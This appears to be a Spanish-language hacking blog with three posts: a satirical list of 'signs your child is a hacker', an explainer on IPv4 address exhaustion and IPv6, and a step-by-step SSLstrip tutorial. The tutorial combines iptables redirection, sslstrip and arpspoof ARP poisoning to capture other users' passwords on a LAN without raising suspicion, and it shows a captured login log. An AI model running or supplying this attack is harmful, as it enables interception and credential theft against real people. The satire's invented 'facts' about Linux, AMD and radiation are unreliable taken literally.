despues de unos pocos dias de investigacion, y algo de estudio en hacking, confronte a peter con la evidencia. temo decir, q esta fue la unica vez q estuve realmente decepcionado de 1 de mis hijos. Los criamos para ser honestos y tener integridad, y peter traiciono los principios q tratamos de inculcarle, cuando se rehuso a admitir sus actividades. Sus negaciones continuaron x horas, y al final, no me quedo otra opcion q prohibirle usar la computadora hasta ser lo suficientemente grande para ser responsable x sus actos.

despues de atravesar esta prueba con mi propia familia, estuve pensando la mejor manera de ayudar a otros en situacion similar. obtuve un monton de conocimiento sobre hackers en esos pocos dias. es justo que provea de esa informacion a otros padres, con la esperanza de q ellos puedan saber si sus hijos estan metidos dentro del mundo del hacking. tal vez otros padres puedan dirigir a sus hijos de regreso x el camino recto antes q medidas extremas deban ser empleadas.

con este fin, decidi publicar el top ten de las señales de que su hijo es 1 hacker. recomiendo a todos los padres leer esta lista cuidadosamente y si su hijo coincide con el perfil, deben tomar alguna accion. 1 padre inteligente tratara primero de razonar con su hijo, antes de recurrir a castigos o hasta palizas. Me enorgullezco de nunca golpear a 1 niño, y espero q esta guia ayude a otros padres a detener la mala conducta de sus hijos antes q 1 paliza se vuelva necesaria.


1. le ha pedido se hijo cambiar de ISP?

la mayoria de las familias americanas usa proveedores de internet responsables y de confianza, como AOL. estos proveedores tienen estrictas politicas de "no hacking", y toman cuidadosas medidas para asegurarse de q tenga 1 agradable experiencia en internet, educativa y sobre todo legal. si su hijo esta convirtiendose en hacker, 1 de sus primeros pasos sera pedir el cambio a algun proveedor mas "amigable" con los hackers.

recomiendo a todos los padres q se nieguen a este pedido. 1 de las razones x la q su hijo esta interesado en cambiar de proveedor es para deshacerse del filtro de proteccion infantil de AOL. este filtro es vital para cualquier padre q desee q su hijo disfrute de internet sin ponerlo en peligro de la exposicion a contenido "adulto". es mejor poner la proteccion q AOL provee, en lugar de usar alguna solucion hogareña. si su hijo se esta convirtiendo en hacker, sera capaz de evitar cualquier medida "hogareña" con sorprendente facilidad, usando informacion obtenida de varios sitios hacker.

2. encuentra programas en su computadora q no recuerda haber instalado?

su hijo probablemente intentara instalar algun software de hackers. tratara de ocultar su presencia de alguna manera, pero ud puede normalmente encontrar todos los nuevos programas viendo la lista de programas en "agregar y quitar programas" en su panel de control. Algunos programas hacker populares son "Comet Cursor", "Bonzi Buddy" y "Flash".

la mejor opcion es confrontar a su hijo con la evidencia, y forzarlo a remover los programas ofensivos. probablemente intentara instalar el software nuevamente, pero ud sera capaz de saber cuando esto suceda, si su maquina le ofrece "descargar" alguna de las aplicaciones hacker. si esto sucede, es tiempo de tener una severa charla con su hijo, y posiblemente considerar algun castigo.

3. su hijo le ha pedido nuevo hardware?

los hackers informaticos se ven frecuentemente limitados x el hardware convencional. ellos pediran placas de video "mas rapidas", y discos rigidos con mayor capacidad, o hasta mas memoria. pero si su hijo comienza a pedirle estos dispositivos, es posible q tenga 1 necesidad legitima. lo mejor q puede hacer es comprar hardware confiable y legal haciendolo solo al fabricante de su computadora.

si su hijo le pide 1 nuevo procesador de una compañia llamada "AMD", es 1 genuina causa de alarma. AMD es 1 empresa del 3er mundo que hace copias inferiores de chips de procesadores americanos. usan mano de obra de niños en sus talleres tercermundistas, y deliberadamente desactivan caracteristicas de seguridad q los fabricantes de procesadores americanos, como intel, usan para prevenir el hacking. los chips AMD nunca son vendidos en tiendas, y seguramente se le pedira q lo ordene a traves de sitios de internet. no compre este chip! este es 1 pedido q debe rehusar a su hijo, si tiene alguna esperanza de criarlo bien.

4. su hijo lee manuales de hacking?

si presta bastante atencion a los habitos de lectura de su hijo, como yo hago, sera capaz de determinar la mayor parte de sus opiniones y hobbies. los niños son mas impresionables en su adolescencia. cualquier padre q haya sufrido el intento de su hija de 17 años de escabullirse a 1 cita, perfumada y maquillada, es consciente del efecto q las influencias impropias pueden causar en mentes inexperimentadas.

hay, infortunadamente, muchos manuales de hacking disponibles en las librerias hoy dia. unos pocos titulos para tener bajo mirada son: "snow crash" y "cryptonomicon" de neal stephenson, "neuromancer" de william gibson, "programming with perl" de timothy o'reilly, "geeks" de jon katz, "the hacker crackdown" de bruce sterling, "microserfs" de douglas coupland, "hackers" de steven levy, y "the cathedral and the bazaar" de eric s. raymond.

si encuentra alguno de estos manuales de hacking en posesion de sus hijos, confisquelos inmediatamente. puede ademas pedir a los proveedores locales de libros q remuevan estos titulos de sus estanterias. puede encontrarse con alguna resistencia al principio, pero hasta los vendedores de libros deben someterse a las presiones de la comunidad.

5. cuanto tiempo x dia pasa su hijo usando la computadora?

si su hijo pasa mas de 30 minutos x dia en la computadora, puede estar usando DOS contra paginas de otras personas. DOSear implica ganar acceso al "command prompt" (la consola) de otras maquinas, y usarlas para blockear servicios vitales de internet. esto puede tomar mas de 8 horas. si su hijo esta haciendo esto, esta rompiendo la ley, y debe detenerlo inmediatamente. la politica mas segura es limitar el acceso de sus hijos a la computadora a 1 maximo de 45 minutos x dia.

6. su hijo juega quake?

quake es 1 realidad virtual online usada por los hackers. es 1 lugar popular para encontrarse y entrenarse, donde ellos discuten sobre hacking y se entrenan en el uso de numerosas armas de fuego. muchos hackers desarrollan tendencias antisociales debido al uso de este mundo virtual, y pueden sufrir comportamiento erratico en el hogar o la escuela.

si su hijo usa quake, debe hacerle entender q esto no es aceptable para ud. debe asegurarse q todas las armas de fuego en su casa esten bien guardadas, y tener los seguros de gatillo activados. tambien debe preocuparse x la atencion en la escuela.

7. su hijo se esta volviendo discutidor y hosco?

a medida q los adolescentes ingresan al electronico mundo del hacking, comienzan a desconectarse del mundo real. pierden la habilidad de controlar sus actos, o juzgar lo bueno o malo de un comportamiento. esto se manifestara pronto en la forma q trata a los demas. aquello con lo que disienta lo hara con desprecio, amargura y hasta lenguaje vulgar. proferira amenazas de violencia de naturaleza real o electronica.

aun cuando sea confrontado, probablemente su hijo encuentre dificultad para hablar sobre este problema con ud. probablemente dira q no hay problema, y q esta imaginando cosas. le dira q es ud quien tiene el problema, y q debe "dejarlo solo" y "dejar de molestarlo". no se deje engañar. ud es la unica chance q tiene su hijo, aun si no entiende la situacion en la q esta. siga intentando llegar a el, no importa cuanto se refugie en si mismo.

8. esta su hijo obsesionado con "Lunix"?

BSD, Lunix, Debian y Mandrake son todas versiones de un sistema de operacion ilegal hacker, inventado por un hacker sovietico llamado linyos torovoltos, despues q los rusos perdieran la guerra fria. esta basado en 1 programa llamado "xenix", q fue escrito x microsoft para el gobierno de usa. estos programas son usados x hackers para entrar en las computadoras de otras personas y robar numeros de tarjetas de credito. ademas puede ser usado para entrar en los stereos ajenos para robar su musica, usando el programa "mp3". torovoltos es 1 conocido hacker, responsable de escribir muchos programas hacker, como "telnet", q es usado por los hackers para conectar a otras maquinas en internet sin usar el telefono.

su hijo puede intentar instalar "lunix" en su disco rigido. si el es cuidadoso, ud no notara su presencia, sin embargo, lunix es 1 bestia caprichosa, y si lo maneja incorrectamente, su hijo puede dañar su computadora, y hasta romperla completamente borrando windows, a este punto su computadora debera ser reparada x 1 profesional.

si ud ve la palabra "LILO" durante el arranque de windows (justo despues d encender la maquina), su hijo ha instalado lunix. para deshacerse de el, debe enviar su computadora de vuelta al fabricante, y hacer q le instalen 1 nuevo disco duro. lunix es 1 software extremadamente peligroso, y no puede ser removido sin destruir parte de la superficie de su disco.

9. ha cambiado su hijo su apariencia radicalmente?

si su hijo ha sido objeto de 1 repentino cambio en su estilo de vestir, ud puede tener 1 hacker en sus manos. los hackers tienden a vestirse con colores vivos, fluo. pueden vestir pantalones baggy, remeras con colores brillantes y pelo en punta con colores vivos para hacer juego con sus ropas. pueden llevar glow sticks y algunos llevan chupetes colgando de su cuello. (no tengo idea xq hacen esto). hay muchos de estos hackers en las escuelas hoy en dia, y su hijo puede estar comenzando a asociarse con ellos. si ud nota q el grupo de amigos de su hijo incluye gente vestida de tal manera, es hora de pensar en 1 severo toque de queda, para protegerlo de peligrosas influencias.

10. esta su hijo teniendo dificultades en la escuela?

si su hijo se lleva materias en la escuela, o tiene notas bajas en deportes, puede estar involucrado en algun grupo de hacking, tal como la infame asociacion hacker "otaku". excesivo tiempo desperdiciado en la computadora, comunicandose con sus amigos hackers puede causar daño temporal a los ojos y el cerebro, a causa de la radiacion electromagnetica. esto causara q sus notas desciendan dramaticamente, particularmente en asignaturas dificiles como matematicas y quimica. en casos extremos, la sobreexposicion a la radiacion de la computadora puede causar esquizofrenia, meningitis y otras enfermedades psicologicas. ademas, la reduccion de ejercicio puede causar que pierda masa muscular, y hasta empezar a ganar peso. por el bien de la salud psiquica y mental de su hijo, debe ponerle 1 alto a su hacking, y limitar el tiempo q pasa con la computadora drasticamente.



aliento a todos los padres a leer esta guia cuidadosamente. el futuro de sus hijos depende de esto. el hacking es 1 actividad ilegal y peligrosa, q puede enviar a su hijo a la carcel, y destrozar su familia. esto no debe tomarse demasiado en serio.

5.12.10

ARPAgeddon IPcalipsis o como lo quieran llamar. Se acaba el espacio en Internet?



hace rato q se habla de este tema pero siempre parecio q nunca llegaria el dia o q alguien iba a hacer algo antes de que llegara, lo cierto es que ya no quedan muchas direcciones para asignar, a este ritmo es cuestion de dias para q se acaben. en el contador de la izquierda se puede ver al ritmo q bajan y lo poco q queda disponible...

por supuesto la mayoria de los "mortales" no entiende mucho cual es el problema o si en realidad hay un problema o es otra estupidez como el y2k.



pero no, esto va a tener consecuencias... buenas y/o malas...


que es una IP?

la sigla IP (Internet Protocol) se refiere al protocolo de comunicacion principal usado en internet. para q esto funcione cada maquina (o dispositivo) debe tener una direccion (direccion IP) que es unica dentro de la red, no puede haber 2 IPs iguales ya que esto genera un error inmediatamente. digamos q es como la direccion de nuestra casa, o el numero de documento de identidad o como se llame la identificacion q usen en su pais... un numero unico.

la version q usamos desde hace casi 30 años es IPv4, en la cual este numero tiene una longitud de 32 bits, dividido en 4 segmentos de 8 bits. en decimal una tipica IP puede ser:

200.43.65.23

cada uno de los campos lo comprende un numero entre 0 y 255 o sea q la cuenta es facil 256^4 (o 2^32 binario) lo cual nos da un total de 4.294.967.296 IPs posibles. a esto le tenemos q restar unos 18 millones reservados para redes privadas y otros 270 millones para multicast.


quien asigna y quien reparte las IPs

a nosotros (el usuario final) nos da la IP nuestro proveedor de internet q tiene un numero limitado de ellas, cuando se le acaban y necesita mas las pide al RIR (Regional Internet Registrie) q le corresponde, en nuestra region esta LACNIC q cubre latinoamerica y el caribe. Existen otros 4 que son ARIN (norteamerica), AfriNIC (africa), APNIC (asia y pacifico), RIPE NCC (europa, medio este y asia central).


cuando estos necesitan mas IPs se las piden al IANA (Internet Assigned Numbers Authority), al cual le quedan las q vemos en el contador... teniendo en cuenta q la demanda actual es de unos 200 millones al año parece q estamos en 1 problema... je

de todas formas se calcula q los RIRs y los ISPs (Internet Service Provider) tienen mas de 400 millones guardadas... lo cual nos da unos 2 años mas hasta que se acaben de verdad.


celulares, 3g, 4g y toda esa porqueria

gran culpa de todo esto la tienen la gran cantidad de porquerias q ahora conectan a internet sin mucho sentido, tenemos millones de celulares, ipads y otros engendros conectando para actualizar perfiles de facebook, dejar comentarios estupidos en twitter, estar al tanto de la temperatura o ver videitos en youtube.

no seria mejor haberse planteado la real necesidad de darle una IP publica a cada uno antes de saturar todo? para q m... quiere una IP unica un telefono movil? alguien necesitaba correr un server de correo o un FTP desde el celu?

bastante mal uso hacen ya de las IPs con las conexiones hogareñas... estabamos tan tranquilos hace solo 10 años... en fin... todo sea x el "progreso" de la red...


la solucion... IPv6

IPv6 es la nueva version del Internet Protocol diseñada para usar direcciones de 128 bits en lugar de 32 lo cual nos da un limite de 2^128 o sea:

340.282.366.920.938.463.463.374.607.431.768.211.456

las direcciones IPv6 estan compuestas, a diferencia de las v4, por 8 campos de 16 bits cada uno, el numero maximo seria:

FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF (el decimal de arriba)

de estos los 1eros 64 corresponden al prefijo de red y los ultimos al identificador de la interfaz q se genera a partir de la MAC address del dispositivo conectado.

los sistemas operativos ya tienen soporte para el nuevo protocolo hace años, el tema es q la mayoria del hardware de redes de alto nivel debe ser cambiado, incluyendo tambien la mayoria de los switches hogareños. ademas de q la transicion no se puede hacer de un dia para el otro, estamos hablando de un par de años como para hacerlo de manera q no cause demasiados transtornos, habra un largo periodo en el cual conviviran ambos protocolos hasta que el 4 vaya desapareciendo poco a poco... pero deberiamos empezar ya...


especulacion?

q pasaria en 1 escenario donde no haya mas IPs? hay muchos ISPs chicos q ya usan NAT (Network Address Translation) para sacar montones de usuarios con una misma IP, como decia al principio para la mayoria de los "mortales" esto es lo mismo... hasta q quieren bajar alguna pelicula desde una pagina de descargas y les sale el tipico:

Your IP address xx.xx.xx.xx is already downloading a file. Please wait until the download is completed.

o:

Su dirección IP xx.xx.xx.xx se encuentra descargando xxxxx bytes del archivo XX. Por favor finalice esta descarga antes de iniciar otra.


o alguna parecida... esta lleno en los foros de usuarios preguntando porque les sale ese error o no pueden correr servers de juegos... o algun newbie practicando con troyanos de conexion inversa q no puede forwardear puertos. ahi tienen la respuesta, estan todos en una gran LAN (Local Area Network) barrial...

ademas, por mas q nos acostumbremos a esto y quieran explotarlo al maximo el NAT tambien tiene limite. 1 IP puede usar un maximo de 65536 (FFFFh) puertos, o sea q puede abrir ese numero de conexiones, si se superan quedan encoladas hasta q se libere alguna.

ni hablar del q quiera tener un simple FTP, o algo tan normal hoy en dia como una conexion a la pc de tu casa (hace años q no podria vivir sin ella),  pagar una ip publica va a ser como pagar ahora una conexion dedicada.

se dice q tanto los grandes operadores de usa como las organizaciones gubernamentales ya estan listas para empezar el proceso, google y facebook parecen estar tambien en el camino y en europa y asia hay algunos equipos q ya empezaron a ejecutarlo.

en latinoamerica tambien tenemos algunas redes trabajando en v6 aunque al usuario final llegan en v4. aca la lista de quienes lo tienen implementado o estan en eso a dia de hoy:


conclusion

no se... q estamos esperando? a cuanto va el contador mientras leen esto? ya llego a 0?

25.11.10

SSLSTRIP - Como conseguir cualquier password sin despertar sospechas en 1 lan.


esta tecnica fue presentada en el black hat dc 2009 por moxie marlinspike y desperto bastante revuelo, no era nuevo como ataque pero si la herramienta que lo automatiza y lo hace mucho mas facil.

pero esto es del año pasado! diran... y encima pongo q es mas viejo, como es posible entonces q siga funcionando y nadie lo parchee. muy facil, no es 1 ataque directo al ssl sino que lo q hace es reemplazar todos los links https x http seguido de 1 ataque mitm como el q vimos en este link:


de esta manera el objetivo se comunica con nosotros x http y nosotros con el servidor de destino x https, obteniendo en el proceso todas las passwords en texto plano q despues enviamos encriptadas a su destino final.

con esto salvamos el problema de certificados q tenemos usando ettercap como habiamos visto aca:


haciendo transparente el logueo para el objetivo... peligroso no?...


preparando el sistema

voy a explicarlo para debian/ubuntu, si tienen fedora o derivados cambien x yum. 1ero instalamos python y python-twisted-web:

apt-get install python python-twisted-web

despues descargamos sslstrip, pueden buscar algun link o bajarlo de la pagina del autor:

http://www.thoughtcrime.org/software/sslstrip/

podemos hacer 2 cosas, instalarlo o correrlo desde el directorio de descarga. para instalarlo:

python ./setup.py install

de esta manera queda accesible desde la consola, sino para ejecutarlo:

python sslstrip.py (opciones)


el ataque

lo 1ero es activar el reenvio de paquetes, esto lo hacemos cambiando de 0 a 1 el valor del archivo ip_forward q se encuentra en /proc/sys/net/ipv4/, editandolo o simplemente poniendo en la consola:

echo "1" > /proc/sys/net/ipv4/ip_forward

despues configuramos iptables para q reenvie el trafico a ssltrip, el puerto q queremos redirigir es el 80 hacia el 10000 q es el default del programa. si quieren usar otro puerto x alguna razon este es el momento de elegirlo, despues al lanzarlo se puede cambiar. el comando seria:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 (o el q quieran)

ahora corremos sslstrip, si lo instalaron simplemente:

sslstrip -w nombrearchivo

donde "nombrearchivo" es 1 nombre para el archivo donde van a quedar logueados los datos. si cambiamos el puerto usamos el modificador -l:

sslstrip -w nombredearchivo -l numdepuerto

si todo esta bien instalado deberiamos ver esto:

sslstrip 0.6 by Moxie Marlinspike running...

ahora solo falta hacer el envenenamiento arp para q la otra maquina nos mande su trafico, podemos usar exactamente el mismo metodo de la entrada q cite antes y el resultado simplemente seria q el objetivo no tendria el famoso mensaje del certificado ya que el trafico pasaria x el puerto 80, el user/pass saldria en la pantalla inferior como cualquier pass de texto plano y a su vez se puede ver en el log de ssltrip:

2010-11-25 19:48:39,529 SECURE POST Data (www.google.com):
ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%
2F%3F&service=mail&rm=false&dsh=3151454474180978812&ltmpl=default&hl=en
&ltmpl=default&scc=1&ss=1&timeStmp=&secTok=&GALX=HirBaqYb1RQ&Email=
ACA_SALE_EL_CORREO&Passwd=ACA_LA_PASSWORD&rmShown=1&signIn
=Sign+in&asts=

pero podemos hacerlo mas facil para no tener q usar ettercap simplemente instalando la suite dsniff:

apt-get install dsniff

dsniff daria como para otra entrada completa pero ahora vamos a usar solamente arpspoof para hacer el envenenamiento. despues de instalar dsniff ponemos en la consola:

arpspoof -i interface (eth0, wlan0, ath0 o la q sea) -t target (maquina objetivo) gateway (el router)

x ej:

arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

en la consola veriamos algo como esto repetirse una y otra vez:

0:5:4e:4d:15:30 0:1e:e5:fc:10:65 0806 42: arp reply 192.168.1.1 is-at 0:5:4e:4d:15:30

0:5:4e:4d:15:30 es nuestra mac, q queremos q el objetivo (0:1e:e5:fc:10:65) crea q es el router, entonces lo q le decimos es q 192.168.1.1 (el router) esta en (is-at) nuestra mac (0:5:4e:4d:15:30)

si hacemos en el objetivo 1 arp -a vamos a ver que nuestra ip y el router tienen la misma mac, el envenenamiento tuvo exito.

sslstrip ya esta capturando trafico ssl y guardandolo en el log, solo hay q abrirlo y ver q hay...